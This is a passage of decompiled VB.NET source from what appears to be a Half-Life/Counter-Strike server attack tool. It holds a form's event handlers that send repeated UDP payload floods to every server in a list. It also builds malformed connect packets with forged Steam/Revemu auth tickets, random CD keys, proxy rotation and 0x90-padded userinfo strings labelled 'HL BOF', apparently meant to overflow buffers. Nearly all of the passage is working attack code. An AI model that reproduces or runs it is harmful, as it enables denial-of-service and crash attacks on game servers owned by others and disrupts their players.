                            socket.Send(Me.Data.KickASS3p6)
                            socket.Send(Me.Data.KickASS3p4)
                            socket.Send(Me.Data.KickASS3p5)
                            socket.Send(Me.Data.KickASS3p2)
                            socket.Send(Me.Data.KickASS3)
                            socket.Send(Me.Data.KickASS3p7)
                            socket.Send(Me.Data.KickASS3p3)
                            socket.Send(Me.Data.KickASS3p6)
                            socket.Send(Me.Data.KickASS3p4)
                            socket.Send(Me.Data.KickASS3p5)
                            socket.Send(Me.Data.KickASS3p2)
                            num3 += 1
                        Loop
                    End If
                Next num
            End If
            If (Me.method.SelectedIndex = 30) Then
                num
                For num = 0 To Me.ServerListRichBox.Lines.Length - 1
                    If Not String.IsNullOrEmpty(Me.ServerListRichBox.Lines(num)) Then
                        strArray = IP.Split(New Char() { ":"c })
                        point = New IPEndPoint(IPAddress.Parse(strArray(0)), Convert.ToInt32(strArray(1)))
                        socket = New Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp)
                        If (Integer.TryParse(Me.textBox12.Text, num2) AndAlso (num2 > 0)) Then
                            socket.SendTimeout = num2
                            socket.ReceiveTimeout = num2
                        End If
                        socket.Connect(point)
                        list = New List(Of Byte)
                        buffer = New Byte(&H800  - 1) {}
                        num3 = 1
                        Do While (num3 <= Convert.ToInt32(Me.textBox2.Text))
                            socket.Send(Me.Data.KickASS4)
                            num3 += 1
                        Loop
                    End If
                Next num
            End If
        End Sub

        Private Sub textBox10_TextChanged(ByVal sender As Object, ByVal e As EventArgs)
        End Sub

        Private Sub textBox3_TextChanged(ByVal sender As Object, ByVal e As EventArgs)
        End Sub

        Private Sub textBox5_TextChanged(ByVal sender As Object, ByVal e As EventArgs)
        End Sub

        Private Sub textBox9_KeyPress(ByVal sender As Object, ByVal e As KeyPressEventArgs)
            If Not (Char.IsControl(e.KeyChar) OrElse Char.IsDigit(e.KeyChar)) Then
                e.Handled = True
            End If
            If ((e.KeyChar = "."c) AndAlso (TryCast(sender,TextBox).Text.IndexOf("."c) > -1)) Then
                e.Handled = True
            End If
        End Sub

        Private Sub timer1_Tick(ByVal sender As Object, ByVal e As EventArgs)
        End Sub

        Private Sub timer1_Tick_1(ByVal sender As Object, ByVal e As EventArgs)
            Dim num As Integer
            Me.LogRichBox.Text.Replace("R" & ChrW(2) & "PX" & ChrW(2) & ChrW(2) & ChrW(16) & "XX" & ChrW(2) & "?" & ChrW(24) & "XB" & ChrW(16) & "?" & ChrW(24) & ChrW(2) & "@" & ChrW(16) & ChrW(2) & "B" & ChrW(16) & "@" & ChrW(16) & "BP" & ChrW(16) & "B" & ChrW(2) & "@P" & ChrW(18) & ChrW(2) & ChrW(16) & "@P" & ChrW(2) & "?" & ChrW(16) & "B" & ChrW(2) & ChrW(16) & ChrW(8) & ChrW(18) & "B" & ChrW(16) & ChrW(24) & ChrW(8) & "B@" & ChrW(24) & ChrW(24) & ChrW(2) & "PH" & ChrW(26) & "B?PHBP?", "")
            If String.IsNullOrEmpty(Me.textBox2.Text) Then
                Me.timer1.Stop
                num = CInt(MessageBox.Show("Packets is null", "Error", MessageBoxButtons.OK, MessageBoxIcon.Hand))
                Me.textBox2.Text = "130"
            End If
            If String.IsNullOrEmpty(Me.textBox16.Text) Then
                Me.timer1.Stop
                num = CInt(MessageBox.Show("Value is null", "Error", MessageBoxButtons.OK, MessageBoxIcon.Hand))
                Me.textBox16.Text = "15"
            End If
            If String.IsNullOrEmpty(Me.textBox7.Text) Then
                Me.timer1.Stop
                num = CInt(MessageBox.Show("Setinfo is null", "Error", MessageBoxButtons.OK, MessageBoxIcon.Hand))
                Me.textBox7.Text = "_pw"
            End If
            If String.IsNullOrEmpty(Me.asd2.Text) Then
                Me.timer1.Stop
                num = CInt(MessageBox.Show("Setinfo is null", "Error", MessageBoxButtons.OK, MessageBoxIcon.Hand))
            End If
            If String.IsNullOrEmpty(Me.textBox9.Text) Then
                Me.timer1.Stop
                num = CInt(MessageBox.Show("Repeat is null", "Error", MessageBoxButtons.OK, MessageBoxIcon.Hand))
                Me.textBox9.Text = "1"
            End If
            If String.IsNullOrEmpty(Me.textBox1.Text) Then
                Me.timer1.Stop
                num = CInt(MessageBox.Show("Proxy is null", "Error", MessageBoxButtons.OK, MessageBoxIcon.Hand))
                Me.textBox1.Text = "_ip"
            End If
            If String.IsNullOrEmpty(Me.textBox6.Text) Then
                Me.timer1.Stop
                num = CInt(MessageBox.Show("Password is null", "Error", MessageBoxButtons.OK, MessageBoxIcon.Hand))
                Me.textBox6.Text = "1234"
            End If
            If String.IsNullOrEmpty(Me.textBox5.Text) Then
                Me.timer1.Stop
                num = CInt(MessageBox.Show("Interval is null", "Error", MessageBoxButtons.OK, MessageBoxIcon.Hand))
                Me.textBox5.Text = "1000"
            End If
            If (Me.countT = Convert.ToInt32(Me.textBox2.Text)) Then
                Me.timer1.Stop
                Me.countT = 0
            Else
                Dim num2 As Integer = 0
                Dim index As Integer = 0
                Dim num4 As Integer = 0
                Dim i As Integer
                For i = 0 To Me.ServerListRichBox.Lines.Length - 1
                    If Not String.IsNullOrEmpty(Me.ServerListRichBox.Lines(i)) Then
                        Dim j As Integer = 0
                        Do While ((Convert.ToInt32(Me.textBox9.Text) = 0) OrElse (j < Convert.ToInt32(Me.textBox9.Text)))
                            Dim str13 As String
                            If ((num2 = 1) AndAlso Me.runOnce.Checked) Then
                                Me.timer1.Stop
                                Exit Do
                            End If
                            num2 += 1
                            If (index >= Me.NicknamesRichBox.Lines.Length) Then
                                index = 0
                            End If
                            If (num4 >= Me.HLProxyRichBox.Lines.Length) Then
                                num4 = 0
                            End If
                            Dim str As String = If((Me.HLProxyRichBox.Text.Length > 0), Me.HLProxyRichBox.Lines(num4), Nothing)
                            If (Me.AuthtypeComboBox.SelectedIndex = 1) Then
                                Me.checkBox2.Enabled = False
                                Me.checkBox2.Checked = False
                            End If
                            If (Me.AuthtypeComboBox.SelectedIndex = 2) Then
                                Me.checkBox2.Enabled = False
                                Me.checkBox2.Checked = False
                            End If
                            If (Me.AuthtypeComboBox.SelectedIndex = 0) Then
                                If Me.checkBox6.Checked Then
                                    Me.checkBox2.Enabled = False
                                    Me.textBox8.Text = "HLTV"
                                Else
                                    Me.checkBox2.Enabled = True
                                End If
                            End If
                            Dim userInfo As String = String.Concat(New String() { "\prot\", If((Me.AuthtypeComboBox.SelectedIndex = 0), "3", ""), If((Me.AuthtypeComboBox.SelectedIndex = 1), "2", ""), If((Me.AuthtypeComboBox.SelectedIndex = 2), "4", ""), "\unique\-1\raw\" })
                            Dim random As New Random
                            Dim str3 As New String(Enumerable.ToArray(Of Char)((From s In Enumerable.Repeat(Of String)("0123456789abc", &H20) Select s.Chars(random.Next(s.Length)))))
                            Dim random As New Random
                            If String.IsNullOrEmpty(Me.textBox16.Text) Then
                                Me.textBox16.Text = "15"
                                Exit Do
                            End If
                            Convert.ToInt32(Me.textBox16.Text)
                            Dim length As Integer = Integer.Parse(Me.textBox16.Text)
                            Dim str4 As String = Form1.RandomRevemuString(length)
                            Dim random44 As New Random
                            Dim str5 As New String(Enumerable.ToArray(Of Char)((From s In Enumerable.Repeat(Of String)("ĄßÇĐË₣ĞҢĨĴҜĽмŅƠρQŔŚŤỪνẂχỴŻâъċđēƒģңĭĵқŀოʼnǿрqřšŧūυשּׁҳỷž", length) Select s.Chars(random44.Next(s.Length)))))
                            If Me.checkBox18.Checked Then
                                str4 = (String.Empty & str5)
                            End If
                            If (Me.method.SelectedIndex = 10) Then
                                Me.checkBox1.Enabled = False
                                str4 = (str4 & ".ú.")
                            Else
                                Me.checkBox1.Enabled = True
                            End If
                            If (Me.AuthtypeComboBox.SelectedIndex = 0) Then
                                userInfo = (userInfo & "steam")
                            ElseIf (Me.AuthtypeComboBox.SelectedIndex = 1) Then
                                userInfo = (userInfo & str3)
                            ElseIf (Me.AuthtypeComboBox.SelectedIndex = 2) Then
                                userInfo = (userInfo & str3)
                            End If
                            If Me.checkBox3.Checked Then
                                userInfo = If((Me.method.SelectedIndex <> &H1A), (userInfo & "\cdkey\" & str3 & """ """), (userInfo & "\cdkey\" & str3 & """"" """))
                                Me.textBox4.Text = str3
                            End If
                            Dim text As String = Me.textBox4.Text
                            If Not Me.checkBox3.Checked Then
                                userInfo = (userInfo & "\cdkey\" & [text] & """ """)
                            End If
                            Dim random2 As New Random
                            Dim num8 As Integer = random2.Next(1, 100)
                            Dim num9 As Integer = random2.Next(0, 2)
                            Dim num10 As Integer = random2.Next(0, 2)
                            Dim num11 As Integer = random2.Next(0, 2)
                            random2.Next(0, 300)
                            Dim num12 As Integer = random2.Next(10)
                            Dim num13 As Integer = random2.Next(20, 150)
                            Dim num14 As Integer = random2.Next(0, &H400)
                            Dim num15 As Integer = random2.Next(&HDAC, &HC350)
                            Dim num16 As Integer = random2.Next(&H7530)
                            Dim list As New List(Of String) From { "arctic", "gign", "gsg9", "leet", "sas", "terror", "urban", "vip", "guerilla" }
                            Dim num17 As Integer = random.Next(list.Count)
                            Dim str7 As String = list.Item(num17)
                            list.RemoveAt(num17)
                            Dim str8 As String = ("\_cl_autowepswitch\" & num10 & "\model\" & ChrW(10) & "    HL BOF                                                                                                         \name\")
                            Dim str9 As String = String.Concat(New Object() { "\_cl_autowepswitch\", num10, "\model\", str7, "\name\" })
                            Dim str10 As String = If(("\*hltv\1\hdelay\" & num13) <>  Nothing , ("\*hltv\1\hdelay\" & num13), "")
                            Dim str11 As String = ("\" & Me.textBox7.Text & "\" & Me.asd2.Text)
                            Dim str12 As String = If(String.Concat(New Object() { "\bottomcolor\", num8, "\cl_lc\", num9, "\_vgui_menus\", num10, "\cl_lw\", num11, "\topcolor\", num12, "\cl_updaterate\", num13, str11, "\cl_dlmax\", num14, "\rate\", num15 }) <>  Nothing , String.Concat(New Object() { "\bottomcolor\", num8, "\cl_lc\", num9, "\_vgui_menus\", num10, "\cl_lw\", num11, "\topcolor\", num12, "\cl_updaterate\", num13, str11, "\cl_dlmax\", num14, "\rate\", num15 }), "")
                            If Me.checkBox1.Checked Then
                                If Me.checkBox11.Checked Then
                                    userInfo = String.Concat(New Object() { userInfo, str9, ChrW(144) & "a" & ChrW(144) & "b" & ChrW(144) & ChrW(144) & "c" & ChrW(144) & "d" & ChrW(144) & ChrW(144) & "e" & ChrW(144) & "e" & ChrW(144) & "f" & ChrW(144) & ChrW(144) & "gc" & ChrW(144) & ChrW(144) & ChrW(144) & ChrW(144), &H90, str4 })
                                End If
                                If (Me.method.SelectedIndex = &H1A) Then
                                    userInfo = (userInfo & str8 & str4)
                                End If
                                If (Me.method.SelectedIndex = 9) Then
                                    str13 = ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & "  " & ChrW(8) & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & "  " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & "  " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & "  " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & "  " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & "  " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & "  " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & "  " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & "  " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & "  " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & "  " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " ë"
                                    userInfo = (userInfo & str9 & str13)
                                Else
                                    If Me.checkBox6.Checked Then
                                        userInfo = (userInfo & str9 & str4 & str10)
                                    End If
                                    userInfo = (userInfo & str9 & str4)
                                    Me.NicknamesRichBox.Text = str4
                                End If
                            ElseIf Not Me.checkBox1.Checked Then
                                If (Me.method.SelectedIndex = 9) Then
                                    str13 = ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & "  " & ChrW(8) & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & "  " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & "  " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & "  " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & "  " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & "  " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & "  " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & "  " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & "  " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & "  " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & "  " & ChrW(144) & " " & ChrW(144) & " " & ChrW(144) & " ë"
                                    userInfo = (userInfo & str9 & str13)
                                Else
                                    If Me.checkBox6.Checked Then
                                        userInfo = (userInfo & str9 & Me.NicknamesRichBox.Lines(index) & str10)
                                    End If
                                    userInfo = (userInfo & str9 & Me.NicknamesRichBox.Lines(index))
                                End If
                            End If
                            If Not String.IsNullOrEmpty(str) Then
                                userInfo = String.Concat(New String() { userInfo, "\", Me.textBox1.Text, "\", Me.ServerListRichBox.Lines(i) })
                            End If
                            Dim str14 As String = ("\password\" & Me.textBox6.Text)
                            If Me.checkBox5.Checked Then
                                If String.IsNullOrEmpty(Me.textBox7.Text) Then
                                    Me.textBox7.Text = "_pw"
                                End If
                                If String.IsNullOrEmpty(Me.asd2.Text) Then
                                    Me.asd2.Text = (num16)
                                End If
                                userInfo = (userInfo & str14 & str12)
                            ElseIf Not Me.checkBox5.Checked Then
                                If String.IsNullOrEmpty(Me.textBox7.Text) Then
                                    Me.textBox7.Text = "_pw"
                                End If
                                If String.IsNullOrEmpty(Me.asd2.Text) Then
                                    Me.asd2.Text = (num16)
                                End If
                                userInfo = (userInfo & str12 & str11)
                            End If
                            If (Me.AuthtypeComboBox.SelectedIndex = 1) Then
                                Me.textBox8.Text = "VALVE_ID_LAN"
                            End If
                            Dim list2 As New List(Of Byte)
                            If (Me.AuthtypeComboBox.SelectedIndex = 0) Then
                                If Me.checkBox14.Checked Then
                                    list2.AddRange(DirectCast(New Byte() { 20, 0, 0, 0, 200, 120, &H75, 4, 120, &H9F, &HC0, &H54, &HFE, &H37, &H69, &H17, 1, 0, &H10, 1, &HC4, &H10, &HDD, &H58, &HB2, 0, 0, 0, 50, 0, 0, 0, 4, 0, 0, 0, &HFE, &H37, &H69, &H17, 1, 0, &H10, 1, 10, 0, 0, 0, &H67, &H17, &H4C, &H5F, 30, 0, &HA8, &HC0, 0, 0, 0, 0, &H89, &HF6, 210, &H58, 9, &HA6, &HEE, &H58, 1, 0, 7, 0, 0, 0, 0, 0, 0, 0, &H91, &HE4, &H90, &HA2, &H35, &H75, 9, 90, 40, &HDD, &HB6, 50, &HB9, &HD0, &H4D, &H1F, &H10, &H39, 0, &H26, 30, &HA7, &HA9, &HE0, &H9F, &H8E, &HBC, 170, &HF6, &H71, &HF3, &HB0, &H35, &HFD, &H17, 10, &HD4, &H20, 70, &H4D, &HFF, 190, &H98, &H8B, &HBF, &H35, 50, &H67, &H2D, &H3A, 13, &HA4, 230, &H8F, &HE1, &H65, &HEF, &HE3, &HC4, &H73, &H52, &HD0, &HB8, &H80, &H3B, &H6F, &H6D, &HA3, 30, &HDA, &H4A, &HD7, &H57, &H10, &H9F, &H9E, &H7E, &H26, &H29, &HBA, 170, &H52, &HD5, 7, 2, &H8F, &H83, 180, 120, &H51, 1, &H9C, &H23, &H62, &HE5, &HB8, &H19, 240, &HB1, &H21, &H7B, &HB1, 80, &H57, &H1F, 0, &H37, &H8A, &H74, &H7C, &H5E, &H72, &H62, &H51, &H98, &HDF, &H17, 10, &H7E, &H38, 140, &HCA, &H1A, &HA5, &HA3, &H1C, &H4B, &H3D }, IEnumerable(Of Byte)))
                                Else
                                    Dim buffer3 As Byte()
                                    If Not (Me.checkBox2.Checked OrElse Me.checkBox14.Checked) Then
                                        list2.AddRange(DirectCast(New Byte() { &H4A, 0, 0, 0, &H39, 5, 0, 0, &H76, &H65, &H72, 0, 0, 0, 0, 0, &H72, 10, 0, 0, 1, 0, &H10, 1, &H4A, &H38, 50, 90, &H57, &H51, &H41, &H42, &H45, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, &H20, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0 }, IEnumerable(Of Byte)))
                                    End If
                                    If (Me.comboBox2.SelectedIndex = 2) Then
                                        list2.AddRange(DirectCast(New Byte() { &HFF, &HFF }, IEnumerable(Of Byte)))
                                        list2.AddRange(DirectCast(Encoding.ASCII.GetBytes(Form1.RandomRevemuString(8)), IEnumerable(Of Byte)))
                                    End If
                                    If (Me.comboBox2.SelectedIndex = 3) Then
                                        buffer3 = New Byte(4  - 1) {}
                                        buffer3(0) = 20
                                        list2.AddRange(DirectCast(buffer3, IEnumerable(Of Byte)))
                                        list2.AddRange(DirectCast(Encoding.ASCII.GetBytes(Form1.RandomRevemuString(8)), IEnumerable(Of Byte)))
                                        list2.AddRange(DirectCast(New Byte() { &HFF }, IEnumerable(Of Byte)))
                                        list2.AddRange(DirectCast(Encoding.ASCII.GetBytes(Form1.RandomRevemuString(3)), IEnumerable(Of Byte)))
                                        list2.AddRange(DirectCast(New Byte() { 1, 0, &H10, 1 }, IEnumerable(Of Byte)))
                                        list2.AddRange(DirectCast(Encoding.ASCII.GetBytes(Form1.RandomRevemuString(4)), IEnumerable(Of Byte)))
                                        list2.AddRange(DirectCast(New Byte(4  - 1) {}, IEnumerable(Of Byte)))
                                    End If
                                    If (Me.comboBox2.SelectedIndex = 5) Then
                                        list2.AddRange(DirectCast(New Byte() { &H7B, &H7F, &HCA, &HD4, &H23, &H60, &HDB, &HC7, &H1F, &H2E, &H6A, &H6D, 150, &H2A, &H1A, &H21, &H44, &H31, 200, &H3A, 5, &H31, &HC4, 180 }, IEnumerable(Of Byte)))
                                        list2.AddRange(DirectCast(Encoding.ASCII.GetBytes(Form1.RandomRevemuString(&H2E8)), IEnumerable(Of Byte)))
                                    End If
                                    If (Me.comboBox2.SelectedIndex = 6) Then
                                        Select Case New Random().Next(7)
                                            Case 0
                                                list2.AddRange(DirectCast(Encoding.ASCII.GetBytes(Form1.RandomRevemuString(80)), IEnumerable(Of Byte)))
                                                list2.AddRange(DirectCast(New Byte() { &HFF, &HFF, &HFF, &HFF }, IEnumerable(Of Byte)))
                                                list2.AddRange(DirectCast(Encoding.ASCII.GetBytes(Form1.RandomRevemuString(&H2AC)), IEnumerable(Of Byte)))
                                                Exit Select
                                            Case 1
                                                buffer3 = New Byte(4  - 1) {}
                                                buffer3(0) = &H4A
                                                list2.AddRange(DirectCast(buffer3, IEnumerable(Of Byte)))
                                                list2.AddRange(DirectCast(Encoding.ASCII.GetBytes(Form1.RandomRevemuString(4)), IEnumerable(Of Byte)))
                                                list2.AddRange(DirectCast(New Byte() { &H76, &H65, &H72 }, IEnumerable(Of Byte)))
                                                list2.AddRange(DirectCast(New Byte(5  - 1) {}, IEnumerable(Of Byte)))
                                                list2.AddRange(DirectCast(Encoding.ASCII.GetBytes(Form1.RandomRevemuString(4)), IEnumerable(Of Byte)))
                                                list2.AddRange(DirectCast(New Byte(4  - 1) {}, IEnumerable(Of Byte)))
                                                list2.AddRange(DirectCast(Encoding.ASCII.GetBytes(Form1.RandomRevemuString(12)), IEnumerable(Of Byte)))
                                                Dim list3 As List(Of Byte) = list2
                                                Dim buffer As Byte() = New Byte(&H7C  - 1) {}
                                                buffer(&H6C) = 20
                                                buffer(&H70) = 1
                                                list3.AddRange(DirectCast(buffer, IEnumerable(Of Byte)))
                                                Exit Select
                                            Case 2
                                                list2.AddRange(DirectCast(Encoding.ASCII.GetBytes(Form1.RandomRevemuString(80)), IEnumerable(Of Byte)))
                                                list2.AddRange(DirectCast(New Byte() { &HFF, &HFF, &HFF, &HFF }, IEnumerable(Of Byte)))
                                                list2.AddRange(DirectCast(Encoding.ASCII.GetBytes(Form1.RandomRevemuString(&H2AC)), IEnumerable(Of Byte)))
                                                Exit Select
                                            Case 3
                                                list2.AddRange(DirectCast(New Byte() { &HFF, &HFF }, IEnumerable(Of Byte)))
                                                list2.AddRange(DirectCast(Encoding.ASCII.GetBytes(Form1.RandomRevemuString(8)), IEnumerable(Of Byte)))
                                                Exit Select
                                            Case 4
                                                buffer3 = New Byte(4  - 1) {}
                                                buffer3(0) = 20
                                                list2.AddRange(DirectCast(buffer3, IEnumerable(Of Byte)))
                                                list2.AddRange(DirectCast(Encoding.ASCII.GetBytes(Form1.RandomRevemuString(12)), IEnumerable(Of Byte)))
                                                list2.AddRange(DirectCast(New Byte() { 1, 0, &H10, 1 }, IEnumerable(Of Byte)))
                                                list2.AddRange(DirectCast(Encoding.ASCII.GetBytes(Form1.RandomRevemuString(4)), IEnumerable(Of Byte)))
                                                list2.AddRange(DirectCast(New Byte(4  - 1) {}, IEnumerable(Of Byte)))
                                                Exit Select
                                            Case 5
                                                buffer3 = New Byte(4  - 1) {}
                                                buffer3(0) = 20
                                                list2.AddRange(DirectCast(buffer3, IEnumerable(Of Byte)))
                                                list2.AddRange(DirectCast(Encoding.ASCII.GetBytes(Form1.RandomRevemuString(8)), IEnumerable(Of Byte)))
                                                list2.AddRange(DirectCast(New Byte() { &HFF }, IEnumerable(Of Byte)))
                                                list2.AddRange(DirectCast(Encoding.ASCII.GetBytes(Form1.RandomRevemuString(3)), IEnumerable(Of Byte)))
                                                list2.AddRange(DirectCast(New Byte() { 1, 0, &H10, 1 }, IEnumerable(Of Byte)))
                                                list2.AddRange(DirectCast(Encoding.ASCII.GetBytes(Form1.RandomRevemuString(4)), IEnumerable(Of Byte)))
                                                list2.AddRange(DirectCast(New Byte(4  - 1) {}, IEnumerable(Of Byte)))
                                                Exit Select
                                            Case 6
                                                list2.AddRange(DirectCast(New Byte() { &H7B, &H7F, &HCA, &HD4, &H23, &H60, &HDB, &HC7, &H1F, &H2E, &H6A, &H6D, 150, &H2A, &H1A, &H21, &H44, &H31, 200, &H3A, 5, &H31, &HC4, 180 }, IEnumerable(Of Byte)))
                                                list2.AddRange(DirectCast(Encoding.ASCII.GetBytes(Form1.RandomRevemuString(&H2E8)), IEnumerable(Of Byte)))
                                                Exit Select
                                            Case 7
                                                list2.AddRange(DirectCast(New Byte() { &H7B, &H7F, &HCA, &HD4, &H23, &H60, &HDB, &HC7, &H1F, &H2E, &H6A, &H6D, 150, &H2A, &H1A, &H21, &H44, &H31, 200, &H3A, 5, &H31, &HC4, 180 }, IEnumerable(Of Byte)))
                                                list2.AddRange(DirectCast(Encoding.ASCII.GetBytes(Form1.RandomRevemuString(&H2E8)), IEnumerable(Of Byte)))
                                                Exit Select
                                        End Select
                                    End If
                                    If (Me.comboBox2.SelectedIndex = 4) Then
                                        buffer3 = New Byte(4  - 1) {}
                                        buffer3(0) = 20
                                        list2.AddRange(DirectCast(buffer3, IEnumerable(Of Byte)))
                                        list2.AddRange(DirectCast(Encoding.ASCII.GetBytes(Form1.RandomRevemuString(12)), IEnumerable(Of Byte)))
                                        list2.AddRange(DirectCast(New Byte() { 1, 0, &H10, 1 }, IEnumerable(Of Byte)))
                                        list2.AddRange(DirectCast(Encoding.ASCII.GetBytes(Form1.RandomRevemuString(4)), IEnumerable(Of Byte)))
                                        list2.AddRange(DirectCast(New Byte(4  - 1) {}, IEnumerable(Of Byte)))
                                    End If
                                    If (Me.comboBox2.SelectedIndex = 0) Then
                                        buffer3 = New Byte(4  - 1) {}
                                        buffer3(0) = &H4A
                                        list2.AddRange(DirectCast(buffer3, IEnumerable(Of Byte)))
                                        list2.AddRange(DirectCast(Encoding.ASCII.GetBytes(Form1.RandomRevemuString(4)), IEnumerable(Of Byte)))
                                        list2.AddRange(DirectCast(New Byte() { &H76, &H65, &H72 }, IEnumerable(Of Byte)))
                                        list2.AddRange(DirectCast(New Byte(5  - 1) {}, IEnumerable(Of Byte)))
                                        list2.AddRange(DirectCast(Encoding.ASCII.GetBytes(Form1.RandomRevemuString(4)), IEnumerable(Of Byte)))
                                        list2.AddRange(DirectCast(New Byte(4  - 1) {}, IEnumerable(Of Byte)))
                                        list2.AddRange(DirectCast(Encoding.ASCII.GetBytes(Form1.RandomRevemuString(12)), IEnumerable(Of Byte)))
                                        Dim list4 As List(Of Byte) = list2
                                        Dim buffer2 As Byte() = New Byte(&H7C  - 1) {}
                                        buffer2(&H6C) = 20
                                        buffer2(&H70) = 1
                                        list4.AddRange(DirectCast(buffer2, IEnumerable(Of Byte)))
                                    End If
                                    If (Me.comboBox2.SelectedIndex = 1) Then
                                        list2.AddRange(DirectCast(Encoding.ASCII.GetBytes(Form1.RandomRevemuString(80)), IEnumerable(Of Byte)))
                                        list2.AddRange(DirectCast(New Byte() { &HFF, &HFF, &HFF, &HFF }, IEnumerable(Of Byte)))
                                        list2.AddRange(DirectCast(Encoding.ASCII.GetBytes(Form1.RandomRevemuString(&H2AC)), IEnumerable(Of Byte)))
                                    End If
                                End If
                            End If
                            index += 1
                            num4 += 1
                            Me.LogRichBox.AppendText(String.Concat(New String() { " ", If(Not String.IsNullOrEmpty(str), (str & ">"), ""), Me.ServerListRichBox.Lines(i), ":" & ChrW(10), Me.SendMessage(If(Not String.IsNullOrEmpty(str), str, Me.ServerListRichBox.Lines(i)), userInfo, Me.MessageTxtBox.Text, Me.ProtocolComboBox.Text, list2.ToArray, (Me.ProtocolComboBox.SelectedIndex = 2)), ChrW(10) }))
                            Me.LogRichBox.SelectionStart = Me.LogRichBox.Text.Length
                            Me.LogRichBox.ScrollToCaret
                            j += 1
                        Loop
                    End If
                Next i
            End If
        End Sub

        Private Sub timer2_Tick_1(ByVal sender As Object, ByVal e As EventArgs)
            Dim index As Integer = 0
